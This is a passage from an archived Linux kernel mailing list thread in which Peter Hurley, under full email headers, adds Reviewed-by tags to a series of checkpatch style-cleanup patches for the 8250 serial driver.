         noUMj8ZrzelSpfolUQfY11mDGJTOQwF64T4LM7BDZFOZGB2ig9mMICDySzQzJgJeM8Yj
         gaet7z49Vu582PbMhJ/1dABoTdW6Y9IuTfcx6liquq+/nR09BFhdtJArjhAm5r46wUAV
         Vqnkm/06qZANGPBo1YIcZOdNFj4fSzioWifUuVloRpcZLdvXPKwnkrSDj+PrpvzSANP3
         54JZesaAgCpW30IK5QjPO4aGrtshdn3U04c7MPzXBIDfJDejGr6XWeXmve7DWV0a3bQO
         Kh7g==
X-Gm-Message-State: ALoCoQlTRaYJ7Xa0OhtzyUQHffOK8r3eDtZgdbchmzutm+o9FtZFmuxctG+TVHqUUdk1iNaWahmvmos7Q73r/9sNvmB1c4bfUQ==
X-Received: by 10.66.116.81 with SMTP id ju17mr6134121pab.59.1450453085972;
        Fri, 18 Dec 2015 07:38:05 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id sm8sm23061018pac.43.2015.12.18.07.38.03
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Dec 2015 07:38:04 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450437723-2978-7-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111855 gmane.linux.serial:21177 gmane.linux.ports.parisc:26233
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111855>

On 12/18/2015 03:21 AM, Anton Wuerfel wrote:
> This patch moves EXPORT_SYMBOL macros directly after the definition of
> the corresponding symbol to remove checkpatch warnings.

Reviewed-by: Peter Hurley <peter@hurleysoftware.com>

From - Thu Nov 08 21:38:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: Re: [PATCH v2 06/11] tty: serial: 8250: Move EXPORT_SYMBOL to
 function
Date: Fri, 18 Dec 2015 07:41:14 -0800
Lines: 5
Approved: news@gmane.org
Message-ID: <5674291A.5000409@hurleysoftware.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
 <1450437723-2978-7-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450453326 748 80.91.229.3 (18 Dec 2015 15:42:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 15:42:06 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 16:41:46 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9xA3-0007sG-8h
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 16:41:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932518AbbLRPlZ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 10:41:25 -0500
Original-Received: from mail-pf0-f177.google.com ([209.85.192.177]:33231 "EHLO
	mail-pf0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754004AbbLRPlT (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 10:41:19 -0500
Original-Received: by mail-pf0-f177.google.com with SMTP id n128so33045710pfn.0
        for <linux-kernel@vger.kernel.org>; Fri, 18 Dec 2015 07:41:18 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=5vMAaSnsM/3kizqknCxy6lqhowHvzorRFvMZv+AdGbk=;
        b=0/ZezJq36D32Bgmfw0q4qdpGHz7vn5T4a3sWXDpyHEGyx21hUbJjbDFzhH9Aje0wX+
         mtdLf+X6Li32rQqQTvRIqCA4Hf3ZyhKced5qiAFaQCpEQRV/o/z8npXUpIxqqUb3t1lJ
         O+sAQFzuLLLPU0EbM0bVDSm3YBhEd/mOeA11+tzWjlgEI61MYmHbIu+CI7GmZ1JC+m/6
         4nDv9dO5avYdFMgN7SEfWgOHwvbfOwmzeZBviC+8YHWdChNEXhS7snGMmvobS6MKCPZK
         /umtEWgruEwOa5h1VeAG+LMJTgXGT2gC/+4Eyi+yAl/0zy7fUxk0QMvz389Jko2J1kaL
         eyIQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=5vMAaSnsM/3kizqknCxy6lqhowHvzorRFvMZv+AdGbk=;
        b=c0nCO2DQJbvrC2dyUbLZCHFFiFTTGznLlEY4vNydsIKgcQTZ5FWdUlD9KQgMxJcFFX
         mgvQGPsiUM0NrLRRbSTEAIL5DR5UqFMIs5F/OQb0yHPctaBhDKt9l0Vb7eXNIl0UdFdt
         DMCPtrXLgIH4RjZBo3jIPcQgk79lHs16Btojl6j5HGAJLdhtBLbb33QEE3OdS9T8wARL
         iggZc9juT+985JgrOwPi/KHAoojK9u8gEvnblwYcDzhsj8x90IOJspLhNoZQoBvI4NO/
         TQYgvJQ4IYwwvF/Wa/8cnTqBxnXfBBPJDLJL7i1qaN+n+8MLBNmIOVZoBciaJLzDnyBC
         qZZw==
X-Gm-Message-State: ALoCoQmbZH07Fi4vEDBlyjfiSUqZxRAuHW7P96pa0QEpvSvlOF9yexSdL8/k2XJWx1UN6zmVQ1w3/JIJsUm7YkOJ333VK1tv+A==
X-Received: by 10.98.12.139 with SMTP id 11mr6120273pfm.54.1450453278168;
        Fri, 18 Dec 2015 07:41:18 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id w3sm7072481pfa.24.2015.12.18.07.41.16
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Dec 2015 07:41:17 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450437723-2978-7-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111863 gmane.linux.serial:21178 gmane.linux.ports.parisc:26234
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111863>

On 12/18/2015 03:21 AM, Anton Wuerfel wrote:
> This patch moves EXPORT_SYMBOL macros directly after the definition of
> the corresponding symbol to remove checkpatch warnings.

Reviewed-by: Peter Hurley <peter@hurleysoftware.com>

From - Thu Nov 08 21:38:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: Re: [PATCH v2 04/11] tty: serial: 8250: Fix multiline comment style
Date: Fri, 18 Dec 2015 07:33:48 -0800
Lines: 5
Approved: news@gmane.org
Message-ID: <5674275C.30005@hurleysoftware.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
 <1450437723-2978-5-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450453329 1057 80.91.229.3 (18 Dec 2015 15:42:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 15:42:09 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 16:41:55 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9xAH-0008JH-Op
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 16:41:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932722AbbLRPll (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 10:41:41 -0500
Original-Received: from mail-pa0-f54.google.com ([209.85.220.54]:32843 "EHLO
	mail-pa0-f54.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753966AbbLRPdw (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 10:33:52 -0500
Original-Received: by mail-pa0-f54.google.com with SMTP id ur14so62018817pab.0
        for <linux-kernel@vger.kernel.org>; Fri, 18 Dec 2015 07:33:52 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=wJqahgN+pQL4mTAJjI8tbsMPZXS5XmzgmlPp2esma4k=;
        b=R4ExgBa3ouAk86GP5mkg1VuBKSKUDs94LhfaYncWhRO5p1N3WoSvsfsemsR+VwsVQ4
         KsotDeUpsfx+MEetxxQOZmVyK2nzwfGHe5IlWgs8BgXslsWir3rQYoGzSE0aaebzus7U
         t8v4QkM1LDJWKxPba3NWMTDmShdVxjwHNVdnRfIYfG8LTaH39U9dp7ruaA2kb5pwVapr
         +MOObpk8oWb7rHm/3M6S2tWKMVtQbxsJWySL2u3b5+rk/2fbz8yjVBZv6fOlzuFlWP1I
         5dJfUmDFvFUfQdBvjafWhqeJZv/FidufqxXGifQnWmMflrpg3aGGdurBvLlQpWVAoVUW
         5LBA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=wJqahgN+pQL4mTAJjI8tbsMPZXS5XmzgmlPp2esma4k=;
        b=aPiFjiMu0wUwmV11s85bdjIZR/ca/EE3dEgzf2SntZfXnXedMmbYetjjqJephPgAqG
         /jI8n4qtSrIabve7SiQOUy+L8llO/ICox0Fk4LvxSVyIVY03ffSf0/67624eCDJOw6Pd
         5GzlDPUhn7TZveVbj75DlEmFMQkxkzxTzHk37BofDpJwziTGTuI9zQ2ZKdCFlk4MeVXH
         l3wHf2Cnd3rOKh7OT5FkpmUIDAVnA9GC23I7p9KrQsmdeiTTeBfLiloYByUQyaT2LOgl
         L7OHz0elU/N2c3Yz9OyZt2PqSyD9VRIg2qMHDxtleO4ppuayJapoSDLcHSNdZai8t5YF
         kjVg==
X-Gm-Message-State: ALoCoQnUkBmpsrFeQ0BZ8gFyGAwa1zhnumGM5oAF7nF712yVHUAEsNEftPGmg0xH65ELqVYIqSyRPGGXxM4TZNYR3oGDWQ3+9g==
X-Received: by 10.67.24.104 with SMTP id ih8mr6132864pad.124.1450452832419;
        Fri, 18 Dec 2015 07:33:52 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id 7sm5531224pfn.83.2015.12.18.07.33.50
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Dec 2015 07:33:51 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450437723-2978-5-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111864 gmane.linux.serial:21179 gmane.linux.ports.parisc:26235
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111864>

On 12/18/2015 03:21 AM, Anton Wuerfel wrote:
> Checkpatch outputs some warnings about incorrect comment style,
> which is fixed by this patch.

Reviewed-by: Peter Hurley <peter@hurleysoftware.com>

From - Thu Nov 08 21:38:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: Re: [PATCH v2 07/11] tty: serial: 8250: Fix line continuation warning
Date: Fri, 18 Dec 2015 07:41:48 -0800
Lines: 5
Approved: news@gmane.org
Message-ID: <5674293C.9090902@hurleysoftware.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
 <1450437723-2978-8-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450453333 1142 80.91.229.3 (18 Dec 2015 15:42:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 15:42:13 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 18 16:42:02 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9xAP-0008Qg-I8
	for glk-linux-kernel-3@plane.gmane.org; Fri, 18 Dec 2015 16:42:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932945AbbLRPl5 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2015 10:41:57 -0500
Original-Received: from mail-pa0-f49.google.com ([209.85.220.49]:36279 "EHLO
	mail-pa0-f49.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752087AbbLRPlw (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2015 10:41:52 -0500
Original-Received: by mail-pa0-f49.google.com with SMTP id q3so42036891pav.3
        for <linux-kernel@vger.kernel.org>; Fri, 18 Dec 2015 07:41:52 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=PBOwvXQcyJxQ+Cpw212ef/CVS7YtI+RhfPAHSe946JE=;
        b=V6jE14fhXT0YoKPFiKn3yEXRdXvFq2/I30x3ntBRSrQTQuGI+ckU0Ql81PryJx9Qpg
         OC7WHtB1AlrtmSXLrMMAtFnoYKiaiWMJuRWtdTe5W6KH/JoTinLGWpEClyVEwtbDOh3w
         3cS0oIxJ6QR433mac0bpT+Nqo5Wry8O1rg6p8rKb6SW3NS2OH6MWwosme/wxlQ4Ih7dw
         UgjeQt6vLD3+62+plHYvBQvdKc0jiVTCvO1REkfDMLuSxAj3hfjarRh+cZxHKy5YkKjX
         7motxSYhAm5BE5TeLCyT2Cj0ddvGPdDRR5dRYcB7Cn0zT/FXT9Ebo48OXj1gqNtTWwQS
         HPTg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=PBOwvXQcyJxQ+Cpw212ef/CVS7YtI+RhfPAHSe946JE=;
        b=InXn2xNUotKg+zuFD2dVf5seDm+FKT+mLWViS+ZBBWqsdIhvJYoE20gAZ9VyWZokpi
         o8lGmDKo7Apx9Ga6qYl4n6onanu8CvKKqo+HtUbiWNA7aPhUcYryO1jv9e76EATUwikv
         f+/eQJ50p+gBjDGuThnfh2SkGxtvhDdEkPEOaZQnKBDcCoS6wo9PlhqcGKb2mXtmJjCS
         e+7JLxyDgeF+OKO0vZD+Ugca+osSyB6AkhKmPVwTnkvK3b6/JfREbwoB2g/+Tgl51c0b
         YLOsBmC5L7r7UCklT4hun7L3I1qFfnYgEGpu8IWkvKnTwgNwd0nbK4730Ka6RZAQ5k6w
         DWRw==
X-Gm-Message-State: ALoCoQmC+48TmBWK+yLzIvHj2ebLv6lVxh6B/JuK5ZEPGWJHyP7hwwqnVyxqQyFCy/N/zxAIBjPHNyTT0LumuQ0xCKofEOFmUw==
X-Received: by 10.66.144.65 with SMTP id sk1mr6029204pab.126.1450453312512;
        Fri, 18 Dec 2015 07:41:52 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id i20sm324919pfj.51.2015.12.18.07.41.50
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Dec 2015 07:41:51 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450437723-2978-8-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2111865 gmane.linux.serial:21180 gmane.linux.ports.parisc:26236
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2111865>

On 12/18/2015 03:21 AM, Anton Wuerfel wrote:
> Fixed checkpatch warning about an unnecessary line continuation in a
> multi-line variable assignment.

Reviewed-by: Peter Hurley <peter@hurleysoftware.com>

From - Thu Nov 08 21:38:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH v2 08/11] tty: serial: 8250: Add parentheses to macro
Date: Fri, 18 Dec 2015 07:43:52 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <567429B8.2050707@hurleysoftware.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
 <1450437723-2978-9-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450453452 3680 80.91.229.3 (18 Dec 2015 15:44:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 15:44:12 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 16:44:00 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9xCH-0000Fa-Qb
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 16:43:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752970AbbLRPn5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 10:43:57 -0500
Original-Received: from mail-pf0-f180.google.com ([209.85.192.180]:33341 "EHLO
	mail-pf0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751436AbbLRPn4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 10:43:56 -0500
Original-Received: by mail-pf0-f180.google.com with SMTP id n128so33076277pfn.0
        for <linux-parisc@vger.kernel.org>; Fri, 18 Dec 2015 07:43:56 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=tgxiZyP0TQKly/Vkl+mwnNJrvPvuEWDzree2tDvM9ZM=;
        b=WBujC7PW4shYxuhBzKsgThkFFLAJjmMI4R+DO48ve//QizjQjweS5iF+AGfClmTbwc
         uXCcGN3YbBcggeRRED1d7kbdKkbgs5S7AID6ZYf9iac3nuIwDpbpQ2h3KC3hBXz4+bi8
         Ln68FEr/KvjGj3vkw4rlXEG9C7oqWnDZGtHLfVz52Gi3FiPt82TzObnnusSWsXbZuUAG
         0uAEHiddWsctgifcHxnT9+AhzO0BCmentLIdvRNWmIWEEgZyBqNu7KM5khdrLbHwRFQO
         RqOQXyagK5b/m6xgsYXKfO3rcM/kii8mPRzryw7n5YLqXC83lIni+JwGkwfcLK1Qpu6Q
         VQQA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=tgxiZyP0TQKly/Vkl+mwnNJrvPvuEWDzree2tDvM9ZM=;
        b=cFxI5UOhdqWt9QM2msTRD6FvvYlufT6UKO4YCBSjJ3l0HGmczngFHdtKeRJDunVcoC
         xljdSRBJcT0UdrZ6UU9Mo6agZfS0AnsDKbh/XmUJN/sUak+9k/JVmKPvptloxHOrw80l
         fB7rpHHghIHgDTG+0JS/hnYpt6jhuHkmLj2VynU8J9AasbZ1BH73oB3lvC5s/bsrSdsx
         HoPHvxDinYyRyZ2nckQByJxTmgGuYORfqPKAYkVOaHA3A3sKLTgMQA1x/uVn08gUUeLh
         gFhRYp3d07MiSWeO246KAGh031flySRj0AWV6GAD4A5zvgi1IoEym+V3xl0I/8b6yG+I
         hjFg==
X-Gm-Message-State: ALoCoQnswqQkh17ZgzW97q8D2Hui2K/cFMMI+OfvcUnokDYNEPNP72mNdHqf7hqiz5/t9y9hSbkY/SwXCir/5uHwxUgKZPY7fg==
X-Received: by 10.98.14.29 with SMTP id w29mr6289376pfi.26.1450453435768;
        Fri, 18 Dec 2015 07:43:55 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id kk5sm6797091pab.16.2015.12.18.07.43.54
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Dec 2015 07:43:55 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450437723-2978-9-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26237 gmane.linux.serial:21181 gmane.linux.kernel:2111866
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26237>

On 12/18/2015 03:22 AM, Anton Wuerfel wrote:
> This patch fixes a checkpatch warning caused by missing parentheses
> in the definition of a macro.

Reviewed-by: Peter Hurley <peter@hurleysoftware.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH v2 09/11] tty: serial: 8250: Fix multi-line strings
Date: Fri, 18 Dec 2015 07:45:03 -0800
